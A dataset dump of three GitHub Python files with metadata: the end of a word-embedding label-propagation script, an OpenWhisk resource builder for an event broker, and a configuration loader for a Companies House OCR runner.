logging_info.append(log_item(Configs.iterations + 1,\n # eval_label[eval_label_mask], train_label[eval_label_mask]))\n\n return log_item(Configs.iterations, eval_label[eval_label_mask], train_label[eval_label_mask])\n\n # result_file_path = os.path.join(file_path,\n # 'it_%s_alpha_%s_enn_%s_exp_%s_uni_%s' %\n # (Configs.iterations, Configs.alpha, Configs.enn, Configs.exp, int(Configs.uni))\n # )\n # os.makedirs(result_file_path, exist_ok=True)\n\n # log_json(logging_info, os.path.join(result_file_path, 'log'))\n # log_json(os.path.join(result_file_path, 'lexicon'),\n # list(zip(token_words, train_label.tolist())))\n # np.save(os.path.join(result_file_path, 'train_label_expanded'), train_label)\n\n\n# def predict():\n# with open(os.path.join(word_dataset_base, 'token'), 'r') as fp:\n# token_words = json.load(fp)\n# with open(os.path.join(word_dataset_base, 'seed'), 'r') as fp:\n# seed_words = json.load(fp)\n# with open(os.path.join(word_dataset_base, 'eval'), 'r') as fp:\n# eval_words = json.load(fp)\n# with open(os.path.join(word_dataset_base, 'gh_token'), 'r') as fp:\n# github_token_words = json.load(fp)\n# train_label = np.load(os.path.join(word_dataset_base, 'train_label.npy'))\n# train_label_2 = np.load(os.path.join(word_dataset_base, 'train_label_2.npy'))\n# eval_label = np.load(os.path.join(word_dataset_base, 'eval_label.npy'))\n# weight_matrix = np.load(os.path.join(word_dataset_base, 'matrix.npy'))\n# github_weight_matrix = np.load(os.path.join(word_dataset_base, 'gh_matrix.npy'))\n\n\nif __name__ == '__main__':\n ap = argparse.ArgumentParser(\"semi-supervised training using graph\")\n ap.add_argument('--generate', type=int, required=True)\n\n ap.add_argument('--seed', type=int, required=True)\n ap.add_argument('--eval', type=int, required=True)\n ap.add_argument('--epa', type=float, required=True)\n\n ap.add_argument('--exp', type=float, required=True)\n ap.add_argument('--enn', type=float, required=True)\n\n ap.add_argument('--iteration', type=int, required=True)\n\n ap.add_argument('--alpha', type=float, required=True)\n\n ap.add_argument('--uni', type=int, required=True)\n\n args = vars(ap.parse_args())\n\n Configs.alpha = args.get(\"alpha\")\n Configs.iterations = args.get(\"iteration\")\n Configs.enn = args.get('enn')\n Configs.exp = args.get('exp')\n Configs.seed = args.get('seed')\n Configs.eval = args.get('eval')\n Configs.epa = args.get('epa')\n Configs.uni = (args.get('uni') == 1)\n\n mae = train()\n print(mae)\n\n\n # logging = []\n # for enn in [0.4, 0.5, 0.6, 0.7, 0.8]:\n # for exp in [0.5, 1, 2]:\n # Configs.enn = enn\n # Configs.exp = exp\n # metrics = train()\n # logging.append({\n # 'enn': enn,\n # 'exp': exp,\n # 'metrics': metrics\n # })\n\n # with open(os.path.join(word_dataset_base, 'result_grid_search_seed_8500_eval_1000_epa_1.0'), 'w') as fp:\n # json.dump(logging, fp)\n\n # for alpha in [0.2, 0.5, 0.8, 1]:\n # Configs.alpha = alpha\n # metrics = train()\n # logging.append({\n # 'alpha': alpha,\n # 'metrics': metrics\n # })\n\n # with open(os.path.join(word_dataset_base, 'result_alpha_seed_8500_eval_1000_epa_1.0'), 'w') as fp:\n # json.dump(logging, fp)\n\n # for it in [10, 30, 50, 100, 200]:\n # Configs.iterations = it\n # metrics = train()\n # logging.append({\n # 'it': it,\n # 'metrics': metrics\n # })\n # with open(os.path.join(word_dataset_base, 'result_iteration_seed_8500_eval_1000_epa_1.0'), 'w') as fp:\n # json.dump(logging, fp)\n\n # for uni in [False, True]:\n # Configs.uni = uni\n # for seed in range(8500, 499, -1000):\n # Configs.seed = seed\n # metrics = train()\n # logging.append({\n # 'seed': seed,\n # 'uni': uni,\n # 'metrics': metrics\n # })\n # with open(os.path.join(word_dataset_base, 'result_seed_uni'), 'w') as fp:\n # json.dump(logging, fp)\n\n # for epa in range(30, -1, -5):\n # Configs.seed = 600\n # Configs.epa = epa * 0.1\n # Configs.eval = 1000\n # generate()\n\n # for uni in [False, True]:\n # Configs.uni = uni\n # for epa in range(30, -1, -5):\n # Configs.epa = 0.1 * epa\n # Configs.seed = 600\n # metrics = train()\n # logging.append({\n # 'uniform': uni,\n # 'epa': 0.1 * epa,\n # 'mae': metrics\n # })\n # with open(os.path.join(word_dataset_base, 'result_epa_uni'), 'w') as fp:\n # json.dump(logging, fp)\n\n\n # if args.get(\"generate\") == 1:\n # # for epa in range(30, -1, -5):\n # # Configs.seed = 600\n # # Configs.epa = epa * 0.1\n # # Configs.eval = 1000\n # # generate()\n # # train()\n\n # for seed in range(8500, 499, -1000):\n # Configs.epa = 1.0\n # Configs.seed = seed\n # Configs.eval = 1000\n # generate()\n # train()\n\n # train()\n", "repo_name": "yjiao-brex/WordEmbedding-SubCulture", "sub_path": "src/epa_expansion/propagate_labels.py", "file_name": "propagate_labels.py", "file_ext": "py", "file_size_in_byte": 17761, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.makedirs", "line_number": 18, "usage_type": "call"}, {"api_name": "gensim.models.KeyedVectors.load_word2vec_format", "line_number": 22, "usage_type": "call"}, {"api_name": "gensim.models.KeyedVectors", "line_number": 22, "usage_type": "name"}, {"api_name": "gensim.models.word2vec.Word2Vec.load", "line_number": 27, "usage_type": "call"}, {"api_name": "gensim.models.word2vec.Word2Vec", "line_number": 27, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 73, "usage_type": "call"}, {"api_name": "sample_seeds.get_rand_seeds", "line_number": 80, "usage_type": "call"}, {"api_name": "labels.Configs.seed", "line_number": 80, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 80, "usage_type": "name"}, {"api_name": "labels.Configs.eval", "line_number": 80, "usage_type": "attribute"}, {"api_name": "labels.Configs.epa", "line_number": 80, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 98, "usage_type": "call"}, {"api_name": "labels.LabelSpace.Dimension", "line_number": 98, "usage_type": "attribute"}, {"api_name": "labels.LabelSpace", "line_number": 98, "usage_type": "name"}, {"api_name": "numpy.double", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 100, "usage_type": "call"}, {"api_name": "labels.Configs.seed", "line_number": 113, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 113, "usage_type": "name"}, {"api_name": "labels.Configs.eval", "line_number": 114, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 114, "usage_type": "name"}, {"api_name": "time.time", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.double", "line_number": 119, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "labels.Configs.seed", "line_number": 130, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 130, "usage_type": "name"}, {"api_name": "labels.Configs.eval", "line_number": 130, "usage_type": "attribute"}, {"api_name": "labels.Configs.epa", "line_number": 130, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path", "line_number": 135, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path", "line_number": 137, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "csv.DictReader", "line_number": 144, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 150, "usage_type": "call"}, {"api_name": "labels.Configs.seed", "line_number": 155, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 155, "usage_type": "name"}, {"api_name": "labels.Configs.eval", "line_number": 156, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 156, "usage_type": "name"}, {"api_name": "json.load", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 173, "usage_type": "call"}, {"api_name": "labels.LabelSpace.Dimension", "line_number": 173, "usage_type": "attribute"}, {"api_name": "labels.LabelSpace", "line_number": 173, "usage_type": "name"}, {"api_name": "numpy.double", "line_number": 173, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 175, "usage_type": "call"}, {"api_name": "labels.Configs.seed", "line_number": 188, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 188, "usage_type": "name"}, {"api_name": "labels.Configs.eval", "line_number": 189, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 189, "usage_type": "name"}, {"api_name": "time.time", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.double", "line_number": 194, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 203, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 205, "usage_type": "call"}, {"api_name": "os.path", "line_number": 205, "usage_type": "attribute"}, {"api_name": "labels.Configs.seed", "line_number": 205, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 205, "usage_type": "name"}, {"api_name": "labels.Configs.eval", "line_number": 205, "usage_type": "attribute"}, {"api_name": "labels.Configs.epa", "line_number": 205, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 206, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 208, "usage_type": "call"}, {"api_name": "os.path", "line_number": 208, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 209, "usage_type": "call"}, {"api_name": "os.path", "line_number": 209, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path", "line_number": 210, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path", "line_number": 211, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path", "line_number": 212, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path", "line_number": 213, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.double", "line_number": 224, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 228, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path", "line_number": 231, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path", "line_number": 232, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path", "line_number": 238, "usage_type": "attribute"}, {"api_name": "labels.Configs.seed", "line_number": 238, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 238, "usage_type": "name"}, {"api_name": "labels.Configs.eval", "line_number": 238, "usage_type": "attribute"}, {"api_name": "labels.Configs.epa", "line_number": 238, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 239, "usage_type": "call"}, {"api_name": "os.path", "line_number": 239, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 240, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path", "line_number": 241, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 242, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 242, "usage_type": "call"}, {"api_name": "os.path", "line_number": 242, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 243, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 243, "usage_type": "call"}, {"api_name": "os.path", "line_number": 243, "usage_type": "attribute"}, {"api_name": "numpy.any", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 246, "usage_type": "call"}, {"api_name": "labels.Configs.uni", "line_number": 249, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 249, "usage_type": "name"}, {"api_name": "sample_seeds.__norm2uni", "line_number": 250, "usage_type": "call"}, {"api_name": "sample_seeds.__norm2uni", "line_number": 251, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 256, "usage_type": "call"}, {"api_name": "labels.Configs.enn", "line_number": 257, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 257, "usage_type": "name"}, {"api_name": "numpy.fill_diagonal", "line_number": 258, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 259, "usage_type": "call"}, {"api_name": "labels.Configs.exp", "line_number": 259, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 259, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path", "line_number": 264, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 267, "usage_type": "call"}, {"api_name": "numpy.logical_not", "line_number": 268, "usage_type": "call"}, {"api_name": "labels.Configs.alpha", "line_number": 269, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 269, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 275, "usage_type": "call"}, {"api_name": "scipy.stats.stats.pearsonr", "line_number": 276, "usage_type": "call"}, {"api_name": "scipy.stats.stats.pearsonr", "line_number": 277, "usage_type": "call"}, {"api_name": "scipy.stats.stats.pearsonr", "line_number": 278, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 285, "usage_type": "call"}, {"api_name": "labels.Configs.iterations", "line_number": 287, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 287, "usage_type": "name"}, {"api_name": "labels.Configs.iterations", "line_number": 289, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 289, "usage_type": "name"}, {"api_name": "numpy.matmul", "line_number": 290, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 291, "usage_type": "call"}, {"api_name": "labels.Configs.alpha", "line_number": 292, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 292, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 292, "usage_type": "call"}, {"api_name": "labels.Configs.uni", "line_number": 295, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 295, "usage_type": "name"}, {"api_name": "numpy.any", "line_number": 296, "usage_type": "call"}, {"api_name": "sample_seeds.__uni2norm", "line_number": 297, "usage_type": "call"}, {"api_name": "sample_seeds.__uni2norm", "line_number": 298, "usage_type": "call"}, {"api_name": "labels.Configs.iterations", "line_number": 302, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 302, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 333, "usage_type": "call"}, {"api_name": "labels.Configs.alpha", "line_number": 351, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 351, "usage_type": "name"}, {"api_name": "labels.Configs.iterations", "line_number": 352, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 352, "usage_type": "name"}, {"api_name": "labels.Configs.enn", "line_number": 353, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 353, "usage_type": "name"}, {"api_name": "labels.Configs.exp", "line_number": 354, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 354, "usage_type": "name"}, {"api_name": "labels.Configs.seed", "line_number": 355, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 355, "usage_type": "name"}, {"api_name": "labels.Configs.eval", "line_number": 356, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 356, "usage_type": "name"}, {"api_name": "labels.Configs.epa", "line_number": 357, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 357, "usage_type": "name"}, {"api_name": "labels.Configs.uni", "line_number": 358, "usage_type": "attribute"}, {"api_name": "labels.Configs", "line_number": 358, "usage_type": "name"}]} {"seq_id": "11284113298", "text": "import pathlib\nfrom typing import List, Union\n\nfrom requests.models import Response\n\nfrom raise_me.models import Deployment, HttpTarget, ActionTarget\nfrom raise_me.identity.openwhisk import OWResourceIdentifier\nfrom raise_me.wsk import WskClient\nfrom raise_me.wsk import HTTP_MEDIATOR_PATH, HTTP_INVOKER_PATH\n\n\nclass OpenwhiskBuilder:\n def __init__(self, wsk_client: WskClient) -> None:\n self.wsk_client = wsk_client\n\n def create_resources(self, deployment: Deployment) -> None:\n \"\"\"Create Openwhisk Actions, Triggers and Rules that represent the core\n of the event broker system. \n\n External provider events will fire specific Triggers that will invoke \n the corresponding Actions associated to that event to reach all targets\n declared in 'raise-events.yaml'.\n\n Logic description:\n - Deploy 'raise-http-invoker' action, receives (event, http_target).\n - Create event trigger (can be fired externally).\n - For each action_target:\n - Create rule to link trigger to action_target.\n - If at least 1 http_target, create http_mediator, which will invoke \n the 'raise-http-invoker' action for every http_target.\n - For each http_target:\n - Create rule to link trigger to http_mediator.\n \"\"\" \n # Create 'raise-http-invoker' action by default.\n _ = self.create_http_invoker(\n name=OWResourceIdentifier.http_invoker(),\n wsk_client=self.wsk_client, \n path=HTTP_INVOKER_PATH,\n )\n \n for event in deployment.events:\n targets_to_mediate: List[HttpTarget] = []\n targets_to_trigger: List[ActionTarget] = []\n\n for target in event.targets:\n if isinstance(target, HttpTarget):\n targets_to_mediate.append(target)\n elif isinstance(target, ActionTarget):\n targets_to_trigger.append(target)\n \n # Create a event trigger.\n trigger_name = OWResourceIdentifier.trigger(\n event_name=event.logical_name)\n _ = self.wsk_client.create_trigger(name=trigger_name)\n\n # Create a rule for every user-defined action_target.\n for target in targets_to_trigger:\n _ = self.wsk_client.create_rule(\n name=OWResourceIdentifier.rule(\n trigger_name=trigger_name,\n target_name=target.name,\n ),\n trigger_name=trigger_name,\n action_name=target.name,\n )\n \n if len(targets_to_mediate) > 0:\n # Create http-mediator event action and link to trigger.\n event_mediator_name = OWResourceIdentifier.http_mediator(\n event_name=event.logical_name)\n _ = self.create_http_mediator(\n name=event_mediator_name,\n http_targets=targets_to_mediate,\n wsk_client=self.wsk_client,\n path=HTTP_MEDIATOR_PATH,\n )\n _ = self.wsk_client.create_rule(\n name=OWResourceIdentifier.rule(\n trigger_name=trigger_name,\n target_name=event_mediator_name,\n ),\n trigger_name=trigger_name,\n action_name=event_mediator_name,\n )\n\n def destroy_resources(self):\n \"\"\"Destroy all actions, triggers and rules created by this class.\"\"\"\n self.wsk_client.delete_action(name=OWResourceIdentifier.http_invoker())\n\n for action_name in self.wsk_client.action_paginator().paginate():\n if action_name.startswith('raise_mediator-'):\n self.wsk_client.delete_action(name=action_name)\n \n for rule_name in self.wsk_client.rule_paginator().paginate():\n if rule_name.startswith('raise_rule-'):\n self.wsk_client.delete_rule(name=rule_name)\n \n for trigger_name in self.wsk_client.trigger_paginator().paginate():\n if trigger_name.startswith('raise_trigger-'):\n self.wsk_client.delete_trigger(name=trigger_name)\n\n @classmethod\n def create_http_invoker(cls,\n name: str,\n wsk_client: WskClient,\n path: Union[str, pathlib.Path]) -> Response:\n return wsk_client.create_action(\n name=name,\n runtime='python:3',\n code=open(path, 'r').read(),\n main='main',\n )\n \n @classmethod\n def create_http_mediator(cls,\n name: str,\n http_targets: List[HttpTarget],\n wsk_client: WskClient,\n path: Union[str, pathlib.Path]) -> Response:\n adapted_code = 'HTTP_TARGETS={}\\nAUTH={}\\n{}'.format(\n [target.json() for target in http_targets],\n wsk_client.auth,\n open(path, 'r').read(),\n )\n return wsk_client.create_action(\n name=name,\n runtime='python:3',\n code=adapted_code,\n main='main',\n )", "repo_name": "ferancona/raise-me", "sub_path": "raise_me/build/openwhisk.py", "file_name": "openwhisk.py", "file_ext": "py", "file_size_in_byte": 5324, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "raise_me.wsk.WskClient", "line_number": 13, "usage_type": "name"}, {"api_name": "raise_me.models.Deployment", "line_number": 16, "usage_type": "name"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier.http_invoker", "line_number": 36, "usage_type": "call"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier", "line_number": 36, "usage_type": "name"}, {"api_name": "raise_me.wsk.HTTP_INVOKER_PATH", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 42, "usage_type": "name"}, {"api_name": "raise_me.models.HttpTarget", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 43, "usage_type": "name"}, {"api_name": "raise_me.models.ActionTarget", "line_number": 43, "usage_type": "name"}, {"api_name": "raise_me.models.HttpTarget", "line_number": 46, "usage_type": "argument"}, {"api_name": "raise_me.models.ActionTarget", "line_number": 48, "usage_type": "argument"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier.trigger", "line_number": 52, "usage_type": "call"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier", "line_number": 52, "usage_type": "name"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier.rule", "line_number": 59, "usage_type": "call"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier", "line_number": 59, "usage_type": "name"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier.http_mediator", "line_number": 69, "usage_type": "call"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier", "line_number": 69, "usage_type": "name"}, {"api_name": "raise_me.wsk.HTTP_MEDIATOR_PATH", "line_number": 75, "usage_type": "name"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier.rule", "line_number": 78, "usage_type": "call"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier", "line_number": 78, "usage_type": "name"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier.http_invoker", "line_number": 88, "usage_type": "call"}, {"api_name": "raise_me.identity.openwhisk.OWResourceIdentifier", "line_number": 88, "usage_type": "name"}, {"api_name": "raise_me.wsk.WskClient", "line_number": 105, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 106, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 106, "usage_type": "attribute"}, {"api_name": "requests.models.Response", "line_number": 106, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 117, "usage_type": "name"}, {"api_name": "raise_me.models.HttpTarget", "line_number": 117, "usage_type": "name"}, {"api_name": "raise_me.wsk.WskClient", "line_number": 118, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 119, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "requests.models.Response", "line_number": 119, "usage_type": "name"}]} {"seq_id": "74632291744", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nProvides configuration for the project.\nDefaults are defined in the `Config` class definition.\nThey are overridden by values in ~/config/presscuts_config.yml.\nWarning:\n Modifying config values is not prevented.\n Config is implemented as a singleton, so any modification will\n be visible anywhere else the configuration is used.\nUsage:\n ``\n config = configuration.get_config()\n config.CONFIG_NAME\n ``\n@author: Philip Lee\n\"\"\"\nimport logging\nimport os\nfrom abc import ABCMeta, abstractmethod\nfrom pathlib import Path\n\nimport yaml\n\nlogger = logging.getLogger(__name__)\n\nCONFIG_FILEPATH = str(\n Path.home().joinpath(\"config\").joinpath(\"ch_ocr_runner_config.yml\")\n)\n\n\nclass Singleton(type):\n def __init__(cls, *args, **kwargs):\n cls.__instance = None\n super().__init__(*args, **kwargs)\n\n def __call__(cls, *args, **kwargs):\n\n if cls.__instance is None:\n cls.__instance = super().__call__(*args, **kwargs)\n return cls.__instance\n else:\n return cls.__instance\n\n\nclass ConfigProvider(metaclass=ABCMeta):\n\n source_name = \"Unnamed Source\"\n\n @abstractmethod\n def fetch_config(self):\n raise NotImplementedError(\"ConfigProviders must implement fetch_config\")\n\n\nclass YamlConfigProvider(ConfigProvider):\n def __init__(self, filepath):\n self.filepath = filepath\n self.source_name = f\"Yaml file: {filepath}\"\n\n def fetch_config(self):\n\n if os.path.isfile(self.filepath):\n\n logger.info(f\"Reading config from {self.filepath}\")\n print(\"Reading config from\", self.filepath)\n with open(self.filepath, \"rb\") as f:\n yaml_conf = yaml.load(f, Loader=yaml.FullLoader)\n\n return yaml_conf.items()\n\n else:\n logger.info(f\"Config file: {self.filepath} does not exist.\")\n return list()\n\n\n# Private method from enum\ndef _is_dunder(name):\n \"\"\"Returns True if a __dunder__ name, False otherwise.\"\"\"\n return (\n name[:2] == name[-2:] == \"__\"\n and name[2:3] != \"_\"\n and name[-3:-2] != \"_\"\n and len(name) > 4\n )\n\n\n# Private method from enum\ndef _is_sunder(name):\n \"\"\"Returns True if a _sunder_ name, False otherwise.\"\"\"\n return (\n name[0] == name[-1] == \"_\"\n and name[1:2] != \"_\"\n and name[-2:-1] != \"_\"\n and len(name) > 2\n )\n\n\ndef _is_under(name):\n return _is_sunder(name) or _is_dunder(name)\n\n\nclass Config(metaclass=Singleton):\n \"\"\"Defines the configuration names and defaults for the project.\"\"\"\n\n config_provider = YamlConfigProvider(filepath=CONFIG_FILEPATH)\n\n def __init__(self):\n\n self.LOG_LEVEL = \"DEBUG\"\n\n self.DATA_DIR = os.path.join(os.path.expanduser(\"~\"), \"data\", \"companies_house\")\n self.PDF_DIR = os.path.join(self.DATA_DIR, \"pdfs\")\n self.WORKING_DIR = os.path.join(self.DATA_DIR, \"working\")\n\n self.WORK_BATCH_ALLOCATION_FILEPATH = os.path.join(\n self.DATA_DIR, \"pdf_batch_allocation.csv\"\n )\n\n self.MACHINE_ENV_VAR = \"CH_OCR_MACHINE_ID\"\n\n self.OCR_DPI = 300\n self.IMAGE_FORMAT = \"tiff\"\n self.IMAGE_SUFFIX = \".tif\"\n\n self.PREPROCESS_REPORT_FREQUENCY = 50\n\n for key, value in Config.config_provider.fetch_config():\n\n if key in self.__dict__ and not _is_under(key):\n logger.info(\n f\"Overriding default value of {key} with value from {Config.config_provider.source_name}\"\n )\n self.__dict__[key] = value\n\n def log_config(self):\n logger.info(f\"LOG_LEVEL: {self.LOG_LEVEL}\")\n logger.info(f\"DATA_DIR: {self.DATA_DIR}\")\n logger.info(f\"PDF_DIR: {self.PDF_DIR}\")\n logger.info(f\"WORKING_DIR: {self.WORKING_DIR}\")\n logger.info(\n f\"WORK_BATCH_ALLOCATION_FILEPATH: {self.WORK_BATCH_ALLOCATION_FILEPATH}\"\n )\n logger.info(f\"MACHINE_ENV_VAR: {self.MACHINE_ENV_VAR}\")\n logger.info(f\"OCR_DPI: {self.OCR_DPI}\")\n logger.info(f\"IMAGE_FORMAT: {self.IMAGE_FORMAT}\")\n logger.info(f\"IMAGE_SUFFIX: {self.IMAGE_SUFFIX}\")\n logger.info(f\"PREPROCESS_REPORT_FREQUENCY: {self.PREPROCESS_REPORT_FREQUENCY}\")\n\n\ndef get_config():\n return Config()\n\n\nif __name__ == \"__main__\":\n\n log_format = \"%(asctime)s - %(levelname)s - %(filename)s:%(lineno)s - %(message)s\"\n logging.basicConfig(format=log_format)\n\n logger = logging.getLogger(__name__)\n logger.setLevel(logging.DEBUG)\n\n logger.info(\"Logging out config\")\n\n config = get_config()\n config.log_config()\n", "repo_name": "ONSBigData/companies_house_ocr_runner", "sub_path": "src/ch_ocr_runner/utils/configuration.py", "file_name": "configuration.py", "file_ext": "py", "file_size_in_byte": 4612, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 24, "usage_type": "call"}, {"api_name": "pathlib.Path.home", "line_number": 27, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 27, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 45, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 49, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 66, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.path.join", 